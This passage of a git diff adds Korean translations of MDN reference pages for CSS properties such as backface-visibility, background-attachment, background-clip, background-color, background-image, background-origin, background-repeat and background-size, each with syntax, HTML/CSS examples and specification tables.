+    <p>backdrop-filter: blur(10px)</p>
+  </div>
+</div>
+
+ +

결과

+ +

{{EmbedLiveSample("예제", 600, 400)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Filters 2.0', '#BackdropFilterProperty', 'backdrop-filter')}}{{Spec2('Filters 2.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.backdrop-filter")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("filter")}}
  • +
diff --git a/files/ko/web/css/backface-visibility/index.html b/files/ko/web/css/backface-visibility/index.html new file mode 100644 index 0000000000..49c365e5f9 --- /dev/null +++ b/files/ko/web/css/backface-visibility/index.html @@ -0,0 +1,217 @@ +--- +title: backface-visibility +slug: Web/CSS/backface-visibility +tags: + - CSS + - CSS Property + - CSS Transforms + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/backface-visibility +--- +
{{CSSRef}}
+ +

CSS backface-visibility 속성은 요소의 뒷면이 사용자를 향할 때 보여야 하는지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}
+ + + +

요소의 뒷면은 앞면의 거울상입니다. 2D 상태에서는 볼 수 없지만 변형을 통해 3D 공간에서 회전되면 노출될 수 있습니다. (2D 변형에는 원근이 없으므로 효과가 없습니다.)

+ +

구문

+ +
/* 키워드 값 */
+backface-visibility: visible;
+backface-visibility: hidden;
+
+/* 전역 값 */
+backface-visibility: inherit;
+backface-visibility: initial;
+backface-visibility: unset;
+ +

backface-visibility 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.

+ +

+ +
+
visible
+
뒷면이 사용자를 향하면 보입니다.
+
hidden
+
뒷면이 사용자를 향해도 보이지 않습니다. 요소가 뒤를 향하면 사용자로부터 숨기는 것과 같습니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

육면체의 뒷면 비교

+ +

아래 예제는 투명한 뒷면의 육면체와 불투명한 뒷면의 육면체를 하나씩 보입니다.

+ +

HTML

+ +
<table>
+  <tr>
+    <th><code>backface-visibility: visible;</code></th>
+    <th><code>backface-visibility: hidden;</code></th>
+  </tr>
+  <tr>
+    <td>
+      <div class="container">
+        <div class="cube showbf">
+          <div class="face front">1</div>
+          <div class="face back">2</div>
+          <div class="face right">3</div>
+          <div class="face left">4</div>
+          <div class="face top">5</div>
+          <div class="face bottom">6</div>
+        </div>
+      </div>
+      <p>
+        Since all faces are partially transparent,
+        the back faces (2, 4, 5) are visible
+        through the front faces (1, 3, 6).
+      </p>
+    </td>
+    <td>
+      <div class="container">
+        <div class="cube hidebf">
+          <div class="face front">1</div>
+          <div class="face back">2</div>
+          <div class="face right">3</div>
+          <div class="face left">4</div>
+          <div class="face top">5</div>
+          <div class="face bottom">6</div>
+        </div>
+      </div>
+      <p>
+        The three back faces (2, 4, 5) are
+        hidden.
+      </p>
+    </td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Classes that will show or hide the
+   three back faces of the "cube" */
+.showbf div {
+  backface-visibility: visible;
+}
+
+.hidebf div {
+  backface-visibility: hidden;
+}
+
+/* Define the container div, the cube div, and a generic face */
+.container {
+  width: 150px;
+  height: 150px;
+  margin: 75px 0 0 75px;
+  border: none;
+}
+
+.cube {
+  width: 100%;
+  height: 100%;
+  perspective: 550px;
+  perspective-origin: 150% 150%;
+  transform-style: preserve-3d;
+}
+
+.face {
+  display: block;
+  position: absolute;
+  width: 100px;
+  height: 100px;
+  border: none;
+  line-height: 100px;
+  font-family: sans-serif;
+  font-size: 60px;
+  color: white;
+  text-align: center;
+}
+
+/* Define each face based on direction */
+.front {
+  background: rgba(0, 0, 0, 0.3);
+  transform: translateZ(50px);
+}
+
+.back {
+  background: rgba(0, 255, 0, 1);
+  color: black;
+  transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+  background: rgba(196, 0, 0, 0.7);
+  transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+  background: rgba(0, 0, 196, 0.7);
+  transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+  background: rgba(196, 196, 0, 0.7);
+  transform: rotateX(90deg) translateZ(50px);
+}
+
+.bottom {
+  background: rgba(196, 0, 196, 0.7);
+  transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Make the table a little nicer */
+th, p, td {
+  background-color: #EEEEEE;
+  margin: 0px;
+  padding: 6px;
+  font-family: sans-serif;
+  text-align: left;
+}
+ +

결과

+ +

{{EmbedLiveSample('육면체의_뒷면_비교', '100%', 360)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Transforms 2', '#propdef-backface-visibility', 'backface-visibility')}}{{Spec2('CSS Transforms 2')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.backface-visibility")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/background-attachment/index.html b/files/ko/web/css/background-attachment/index.html new file mode 100644 index 0000000000..a72fce431f --- /dev/null +++ b/files/ko/web/css/background-attachment/index.html @@ -0,0 +1,153 @@ +--- +title: background-attachment +slug: Web/CSS/background-attachment +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/background-attachment +--- +
{{CSSRef}}
+ +

CSS background-attachment 속성은 배경 이미지를 {{glossary("viewport", "뷰포트")}} 내에서 고정할지, 아니면 자신의 컨테이닝 블록과 함께 스크롤할지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-attachment.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+background-attachment: scroll;
+background-attachment: fixed;
+background-attachment: local;
+
+/* 전역 값 */
+background-attachment: inherit;
+background-attachment: initial;
+background-attachment: unset;
+
+ +

background-attachment 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.

+ +

+ +
+
fixed
+
배경을 뷰포트에 대해 고정합니다. 요소에 스크롤이 존재해도 배경은 함께 스크롤되지 않습니다. 이 값은 {{cssxref("background-clip", "background-clip: text", "#text")}}와 호환되지 않습니다.
+
local
+
배경을 요소 콘텐츠에 대해 고정합니다. 요소에 스크롤이 존재하면 배경은 콘텐츠와 함께 스크롤됩니다. 배경 페인트 영역과 배경 위치 영역은 테두리 틀이 아닌 스크롤 가능 영역을 기준점으로 삼습니다.
+
scroll
+
배경을 요소 자체에 대해 고정합니다. 요소에 스크롤이 존재해도 배경은 함께 스크롤되지 않습니다. 즉 요소의 테두리에 배경 이미지를 부착한 것과 같은 효과입니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

간단한 예제

+ +

HTML

+ +
<p>
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+</p>
+ +

CSS

+ +
p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+  background-attachment: fixed;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("간단한_예제")}}

+ +

다중 배경 이미지

+ +

background-attachment는 다중 배경 이미지를 지원합니다. 각 배경에 대해 <attachment>를 지정하려면 쉼표로 구분하여 다수의 값을 제공하세요. 주어진 순서대로 배경에 적용합니다.

+ +

HTML

+ +
<p>
+  There were doors all round the hall, but they were all locked; and when
+  Alice had been all the way down one side and up the other, trying every
+  door, she walked sadly down the middle, wondering how she was ever to
+  get out again.
+
+  Suddenly she came upon a little three-legged table, all made of solid
+  glass; there was nothing on it except a tiny golden key, and Alice's
+  first thought was that it might belong to one of the doors of the hall;
+  but, alas! either the locks were too large, or the key was too small,
+  but at any rate it would not open any of them. However, on the second
+  time round, she came upon a low curtain she had not noticed before, and
+  behind it was a little door about fifteen inches high: she tried the
+  little golden key in the lock, and to her great delight it fitted!
+</p>
+ +

CSS

+ +
p {
+  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"),
+      url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+  background-attachment: fixed, scroll;
+  background-repeat: no-repeat, repeat-y;
+}
+ +

결과

+ +

{{EmbedLiveSample("다중_배경_이미지")}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}{{Spec2('CSS3 Backgrounds')}}The shorthand property has been extended to support multiple backgrounds and the local value.
{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#background-attachment', 'background-attachment')}}{{Spec2('CSS1')}}No significant change.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-attachment")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/background-clip/index.html b/files/ko/web/css/background-clip/index.html new file mode 100644 index 0000000000..07d3676b80 --- /dev/null +++ b/files/ko/web/css/background-clip/index.html @@ -0,0 +1,129 @@ +--- +title: background-clip +slug: Web/CSS/background-clip +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/background-clip +--- +
{{CSSRef}}
+ +

CSS background-clip 속성은 요소의 배경이 테두리, 안쪽 여백, 콘텐츠 상자 중 어디까지 차지할 지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-clip.html")}}
+ + + +

요소가 {{cssxref("background-image")}} 또는 {{cssxref("background-color")}}를 가지지 않으면, background-clip은 ({{cssxref("border-style")}} 또는 {{cssxref("border-image")}} 등으로 인해) 테두리에 투명하거나 반투명한 부분이 존재하는 경우에만 시각적 차이가 발생합니다. 그렇지 않은 경우 테두리가 차이점을 가립니다.

+ +

구문

+ +
/* 키워드 값 */
+background-clip: border-box;
+background-clip: padding-box;
+background-clip: content-box;
+background-clip: text;
+
+/* 전역 값 */
+background-clip: inherit;
+background-clip: initial;
+background-clip: unset;
+
+ +

+ +
+
border-box
+
배경이 테두리의 바깥 경계까지 차지합니다. (Z축 순서 상 테두리 아래 위치)
+
padding-box
+
배경이 안쪽 여백의 바깥 경계까지 차지합니다. 테두리 밑에는 배경을 그리지 않습니다.
+
content-box
+
배경을 콘텐츠 상자에 맞춰 그립니다.
+
text {{experimental_inline}}
+
배경을 전경 텍스트 위에만 그립니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<p class="border-box">The background extends behind the border.</p>
+<p class="padding-box">The background extends to the inside edge of the border.</p>
+<p class="content-box">The background extends only to the edge of the content box.</p>
+<p class="text">The background is clipped to the foreground text.</p>
+
+ +

CSS

+ +
p {
+  border: .8em darkviolet;
+  border-style: dotted double;
+  margin: 1em 0;
+  padding: 1.4em;
+  background: linear-gradient(60deg, red, yellow, red, yellow, red);
+  font: 900 1.2em sans-serif;
+  text-decoration: underline;
+}
+
+.border-box { background-clip: border-box; }
+.padding-box { background-clip: padding-box; }
+.content-box { background-clip: content-box; }
+
+.text {
+  background-clip: text;
+  -webkit-background-clip: text;
+  color: rgba(0,0,0,.2);
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', 600, 580)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-clip', 'background-clip')}}{{Spec2('CSS3 Backgrounds')}}Initial definition.
{{SpecName('CSS4 Backgrounds', '#background-clip', 'background-clip')}}{{Spec2('CSS4 Backgrounds')}}Add text value.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-clip")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("clip-path")}} 속성은 배경 뿐 아니라 하나의 요소 전체에서 표시할 부분을 지정하는 클리핑 영역을 생성합니다.
  • +
  • 배경 속성: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}
  • +
  • CSS 기본 박스 모델 입문
  • +
diff --git a/files/ko/web/css/background-color/index.html b/files/ko/web/css/background-color/index.html new file mode 100644 index 0000000000..d0e7402d56 --- /dev/null +++ b/files/ko/web/css/background-color/index.html @@ -0,0 +1,169 @@ +--- +title: background-color +slug: Web/CSS/background-color +tags: + - CSS + - CSS Background + - CSS Property + - Graphics + - HTML Colors + - HTML Styles + - Layout + - Reference + - Styles + - Styling HTML +translation_of: Web/CSS/background-color +--- +
{{CSSRef}}
+ +

CSS background-color 속성은 요소의 배경 색을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-color.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+background-color: red;
+background-color: indigo;
+
+/* 16진수 값 */
+background-color: #bbff00;    /* 완전 불투명 */
+background-color: #bf0;       /* 완전 불투명 단축 */
+background-color: #11ffee00;  /* 완전 투명 */
+background-color: #1fe0;      /* 완전 투명 단축 */
+background-color: #11ffeeff;  /* 완전 불투명 */
+background-color: #1fef;      /* 완전 불투명 단축 */
+
+/* RGB 값 */
+background-color: rgb(255, 255, 128);        /* 완전 불투명 */
+background-color: rgba(117, 190, 218, 0.5);  /* 50% 불투명도 */
+
+/* HSL 값 */
+background-color: hsl(50, 33%, 25%);         /* 완전 불투명 */
+background-color: hsla(50, 33%, 25%, 0.75);  /* 75% 불투명도 */
+
+/* 특별 키워드 값 */
+background-color: currentcolor;
+background-color: transparent;
+
+/* 전역 값 */
+background-color: inherit;
+background-color: initial;
+background-color: unset;
+ +

background-color 속성은 하나의 {{cssxref("<color>")}} 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("color")}}
+
요소의 배경으로 사용할 단일 색상입니다. {{cssxref("background-image")}} 뒤에 렌더링 되므로, 이미지가 투명한 부분을 가지고 있으면 그 곳을 통해 볼 수 있습니다.
+
+ +

접근성 고려사항

+ +

낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.

+ +

색상 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 웹 콘텐츠 접근성 가이드라인(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 굵은 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

HTML

+ +
<div class="exampleone">
+ Lorem ipsum dolor sit amet, consectetuer
+</div>
+
+<div class="exampletwo">
+  Lorem ipsum dolor sit amet, consectetuer
+</div>
+
+<div class="examplethree">
+  Lorem ipsum dolor sit amet, consectetuer
+</div>
+ +

CSS

+ +
.exampleone {
+  background-color: teal;
+  color: white;
+}
+
+.exampletwo {
+  background-color: rgb(153,102,153);
+  color: rgb(255,255,204);
+}
+
+.examplethree {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("예제","200","150")}}

+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세주석피드백
{{ SpecName('CSS3 Backgrounds', '#background-color', 'background-color') }}Though technically removing the transparent keyword, this doesn't change anything as it has been incorporated as a true {{cssxref("<color>")}}Backgrounds Level 3 GitHub issues
{{ SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color') }}No change.
{{ SpecName('CSS1', '#background-color', 'background-color') }}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-color")}}

+ +

더 보기

+ +
    +
  • 한 번에 여러 배경 사용하기
  • +
  • {{cssxref("<color>")}} 자료형
  • +
  • 색상 관련 다른 속성: {{cssxref("color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}
  • +
  • CSS로 HTML 요소에 색입히기
  • +
diff --git a/files/ko/web/css/background-image/index.html b/files/ko/web/css/background-image/index.html new file mode 100644 index 0000000000..0fce6c9b93 --- /dev/null +++ b/files/ko/web/css/background-image/index.html @@ -0,0 +1,152 @@ +--- +title: background-image +slug: Web/CSS/background-image +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-image +--- +
{{CSSRef}}
+ +

CSS background-image 속성은 요소의 배경 이미지를 한 개나 여러 개 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-image.html")}}
+ + + +

여러 개의 배경 이미지는 쌓임 맥락에 따라 서로의 위에 놓입니다. 맨 처음 지정한 이미지가 제일 위에(사용자에게 제일 가까운 것 처럼) 위치합니다.

+ +

테두리는 배경 이미지 위에, {{cssxref("background-color")}}는 밑에 그려집니다. 요소 박스와 테두리에 관련하여 배경 이미지를 어떻게 그릴지는 {{cssxref("background-clip")}}과 {{cssxref("background-origin")}} CSS 속성이 정의합니다.

+ +

브라우저는 값에 유효하지 않은 URI를 지정하는 등 주어진 이미지를 그릴 수 없을 때 none 키워드를 사용한 것처럼 처리합니다.

+ +
참고: 지정한 이미지가 불투명해서 아래의 배경색을 볼 수 없더라도 {{cssxref("background-color")}}는 지정해야 합니다. 네트워크가 내려가는 등 이미지를 불러올 수 없는 상황에서 배경 색이 대체할 수 있기 때문입니다,
+ +

구문

+ +

각각의 배경 이미지는 {{anch("none")}} 키워드나 {{cssxref("<image>")}} 값으로 지정할 수 있습니다.

+ +

여러 개의 배경 이미지를 지정하려면 쉼표로 구분한 다수의 값을 지정하세요.

+ +
background-image:
+  linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)),
+  url('https://mdn.mozillademos.org/files/7693/catfront.png');
+ +

+ +
+
none
+
배경 이미지의 부재를 나타내는 키워드입니다.
+
{{cssxref("<image>")}}
+
배경으로 사용할 이미지입니다. 여러 개의 배경 이미지를 사용할 땐 쉼표로 구분한 다수의 값을 지정하세요.
+
+ +

접근성 고려사항

+ +

브라우저는 배경 이미지에 대한 어떠한 추가 정보도 접근성 보조 기술에 제공하지 않습니다. 특히 스크린 리더의 경우 배경 이미지의 존재 유무조차 알려주지 않습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

배경 이미지 레이어링

+ +

별 모양 이미지는 배경이 투명하고, 고양이 이미지 위에 위치합니다.

+ +

HTML

+ +
<div>
+  <p class="catsandstars">
+    This paragraph is full of cats<br />and stars.
+  </p>
+  <p>This paragraph is not.</p>
+  <p class="catsandstars">
+    Here are more cats for you.<br />Look at them!
+  </p>
+  <p>And no more.</p>
+</div>
+ +

CSS

+ +
p {
+  font-size: 1.5em;
+  color: #FE7F88;
+  background-image: none;
+  background-color: transparent;
+}
+
+div {
+  background-image:
+      url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+.catsandstars {
+  background-image:
+      url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+      url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-color: transparent;
+}
+ +

결과

+ +

{{EmbedLiveSample('배경_이미지_레이어링')}}

+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태주석
{{ SpecName('CSS3 Backgrounds', '#background-image', 'background-image') }}{{ Spec2('CSS3 Backgrounds') }}From CSS2 Revision 1, the property has been extended to support multiple backgrounds and any {{cssxref("<image>")}} CSS data type.
{{ SpecName('CSS2.1', 'colors.html#propdef-background-image', 'background-image') }}{{ Spec2('CSS2.1') }}From CSS1, the way images with and without intrinsic dimensions are handled is now described.
{{ SpecName('CSS1', '#background-image', 'background-image') }}{{ Spec2('CSS1') }}
+ +

브라우저 호환성

+ + + +
{{Compat("css.properties.background-image")}}
+ +

같이 보기

+ +
    +
  • CSS로 이미지 스프라이트 구현하기
  • +
  • {{HTMLElement("img")}}
  • +
  • 이미지 관련 자료형: {{cssxref("<image>")}}, {{cssxref("<gradient>")}}
  • +
  • 이미지 관련 함수: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("element")}}, {{cssxref("_image", "image()")}}, {{cssxref("image-set")}}, {{cssxref("url", "url()")}}
  • +
diff --git a/files/ko/web/css/background-origin/index.html b/files/ko/web/css/background-origin/index.html new file mode 100644 index 0000000000..4a92509f69 --- /dev/null +++ b/files/ko/web/css/background-origin/index.html @@ -0,0 +1,113 @@ +--- +title: background-origin +slug: Web/CSS/background-origin +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/background-origin +--- +
{{CSSRef}}
+ +

CSS background-origin 속성은 배경의 원점을 테두리 시작점, 테두리 내부, 안쪽 여백 내부 중 하나로 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background-origin.html")}}
+ + + +

{{cssxref("background-attachment")}}가 fixed인 경우 background-origin은 무시됩니다.

+ +

구문

+ +
/* 키워드 값 */
+background-origin: border-box;
+background-origin: padding-box;
+background-origin: content-box;
+
+/* 전역 값 */
+background-origin: inherit;
+background-origin: initial;
+background-origin: unset;
+
+ +

background-origin 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.

+ +

+ +
+
border-box
+
배경을 테두리 박스에 상대적으로 배치합니다.
+
padding-box
+
배경을 안쪽 여백 박스에 상대적으로 배치합니다.
+
content-box
+
배경을 콘텐츠 박스에 상대적으로 배치합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

배경 원점 설정하기

+ +
.example {
+  border: 10px double;
+  padding: 10px;
+  background: url('image.jpg');
+  background-position: center left;
+  background-origin: content-box;
+}
+
+ +
#example2 {
+  border: 4px solid black;
+  padding: 10px;
+  background: url('image.gif');
+  background-repeat: no-repeat;
+  background-origin: border-box;
+}
+
+ +
div {
+  background-image: url('logo.jpg'), url('mainback.png'); /* Applies two images to the background */
+  background-position: top right, 0px 0px;
+  background-origin: content-box, padding-box;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-origin', 'background-origin')}}{{Spec2('CSS3 Backgrounds')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-origin")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("background-clip")}}
  • +
diff --git a/files/ko/web/css/background-repeat/index.html b/files/ko/web/css/background-repeat/index.html new file mode 100644 index 0000000000..5183ad67d6 --- /dev/null +++ b/files/ko/web/css/background-repeat/index.html @@ -0,0 +1,233 @@ +--- +title: background-repeat +slug: Web/CSS/background-repeat +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/background-repeat +--- +
{{CSSRef}}
+ +

CSS background-repeat 속성은 배경 이미지의 반복 방법을 지정합니다. 가로축 및 세로축을 따라 반복할 수 있고, 아예 반복하지 않을 수도 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/background-repeat.html")}}
+ + + +

반복한 이미지는 기본값에선 요소 크기에 따라 잘릴 수 있지만, 잘리지 않도록 배경 이미지 크기를 조절하거나(round) 끝에서 끝까지 고르게 분배(space)할 수 있습니다.

+ +

구문

+ +
/* 키워드 값 */
+background-repeat: repeat-x;
+background-repeat: repeat-y;
+background-repeat: repeat;
+background-repeat: space;
+background-repeat: round;
+background-repeat: no-repeat;
+
+/* 2개 값 구문: 가로 | 세로 */
+background-repeat: repeat space;
+background-repeat: repeat repeat;
+background-repeat: round space;
+background-repeat: no-repeat round;
+
+/* 전역 값 */
+background-repeat: inherit;
+background-repeat: initial;
+background-repeat: unset;
+
+ +

+ +
+
<repeat-style>
+
한 개 값 구문은 두 개 값 구문의 단축 형태입니다.
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
한 개 값두 개 값
repeat-xrepeat no-repeat
repeat-yno-repeat repeat
repeatrepeat repeat
spacespace space
roundround round
no-repeatno-repeat no-repeat
+ 두 개 값 구문의 앞쪽은 가로 반복 방법을, 뒤쪽은 세로 반복 방법을 설정합니다. 각 방법의 동작 방식은 아래 표와 같습니다.
+
+ + + + + + + + + + + + + + + + + + + +
repeat요소의 배경 영역을 채울 때까지 이미지를 반복합니다. 마지막 반복 이미지가 넘칠 경우 잘라냅니다.
space요소가 잘리지 않을 만큼 이미지를 반복합니다. 제일 처음과 마지막 반복 이미지는 요소의 양쪽 끝에 고정되고, 각 이미지 사이에 남은 여백을 고르게 분배합니다. 잘리지 않고 배치할 수 있는 이미지가 단 한 장인 경우가 아니라면 {{cssxref("background-position")}} 속성은 무시합니다. space를 사용했는데 이미지가 잘리는 경우는 그 크기가 너무 커서 한 장 조차 넣을 수 없는 경우뿐입니다.
round가용 영역이 늘어나면 반복 이미지도 늘어나 여백을 남기지 않습니다. 이미지를 하나 더 추가할 공간이 생기면 (남은 공간 >= 이미지 너비의 절반) 비로소 반복 횟수를 하나 추가합니다. 이 때, 원래 존재하던 이미지는 모두 줄어들어 새로운 이미지를 위한 공간을 확보합니다. 예시: 원래 너비가 260px이고, 세 번 반복된 이미지는 각자 300px 너비가 될 때까지 늘어날 수 있습니다. 그 후에는 이미지를 추가하고, 각자 225px로 줄어듭니다.
no-repeat이미지를 반복하지 않습니다. 따라서 배경 이미지 영역이 다 차지 않을 수 있습니다. 반복하지 않은 이미지의 위치는 {{cssxref("background-position")}} CSS속성이 설정합니다.
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

HTML

+ +
<ol>
+  <li>no-repeat
+    <div class="one"></div>
+  </li>
+  <li>repeat
+    <div class="two"></div>
+  </li>
+  <li>repeat-x
+    <div class="three"></div>
+  </li>
+  <li>repeat-y
+    <div class="four"></div>
+  </li>
+  <li>space
+    <div class="five"></div>
+  </li>
+  <li>round
+    <div class="six"></div>
+  </li>
+  <li>repeat-x, repeat-y (multiple images)
+    <div class="seven"></div>
+  </li>
+</ol>
+ +

CSS

+ +
/* Shared for all DIVS in example */
+ol,
+li {
+  margin: 0;
+  padding: 0;
+}
+li {
+  margin-bottom: 12px;
+}
+div {
+    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
+    width: 160px;
+    height: 70px;
+}
+
+/* Background repeats */
+.one {
+  background-repeat: no-repeat;
+}
+.two {
+  background-repeat: repeat;
+}
+.three {
+  background-repeat: repeat-x;
+}
+.four {
+  background-repeat: repeat-y;
+}
+.five {
+  background-repeat: space;
+}
+.six {
+  background-repeat: round;
+}
+
+/* Multiple images */
+.seven {
+  background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
+                     url(https://developer.cdn.mozilla.net/media/redesign/img/favicon32.png);
+  background-repeat: repeat-x,
+                     repeat-y;
+  height: 144px;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', 240, 560)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-repeat', 'background-repeat')}}{{Spec2('CSS3 Backgrounds')}}Adds support for multiple background images, the two-value syntax allowing distinct repetition behavior for the horizontal and vertical directions, the space and round keywords, and for backgrounds on inline-level elements by precisely defining the background painting area.
{{SpecName('CSS2.1', 'colors.html#propdef-background-repeat', 'background-repeat')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#background-repeat', 'background-repeat')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-repeat")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/background-size/index.html b/files/ko/web/css/background-size/index.html new file mode 100644 index 0000000000..db02fe7030 --- /dev/null +++ b/files/ko/web/css/background-size/index.html @@ -0,0 +1,196 @@ +--- +title: background-size +slug: Web/CSS/background-size +tags: + - CSS + - CSS Background + - CSS Property + - Reference +translation_of: Web/CSS/background-size +--- +
{{CSSRef}}
+ +
CSS background-size 속성은 요소 배경 이미지의 크기를 설정합니다. 그대로 두거나, 늘리고 줄이거나, 공간에 맞출 수 있습니다.
+ +
+ +
{{EmbedInteractiveExample("pages/css/background-size.html")}}
+ + + +

배경 이미지로 덮이지 않은 공간은 {{cssxref("background-color")}} 속성으로 채워지고, 배경 이미지에서 투명하거나 반투명한 부분을 통해서도 배경색이 보입니다.

+ +

구문

+ +
/* 키워드 값 */
+background-size: cover;
+background-size: contain;
+
+/* 단일 값 구문 */
+/* 이미지 너비 (높이는 'auto'가 됨) */
+background-size: 50%;
+background-size: 3.2em;
+background-size: 12px;
+background-size: auto;
+
+/* 두 개 값 구문 */
+/* 첫 번째 값: 이미지 너비, 두 번째 값: 이미지 높이 */
+background-size: 50% auto;
+background-size: 3em 25%;
+background-size: auto 6px;
+background-size: auto auto;
+
+/* 다중 배경 */
+background-size: auto, auto; /* `auto auto`와 혼동하지 말 것 */
+background-size: 50%, 25%, 25%;
+background-size: 6px, auto, contain;
+
+/* 전역 값 */
+background-size: inherit;
+background-size: initial;
+background-size: unset;
+
+ +

 background-size 속성은 다음 방법 중 하나로 지정할 수 있습니다. 

+ +
    +
  • contain 또는 cover 키워드 값 사용.
  • +
  • 너비 값만 사용. 높이는 자동으로 {{anch("auto")}}가 됩니다.
  • +
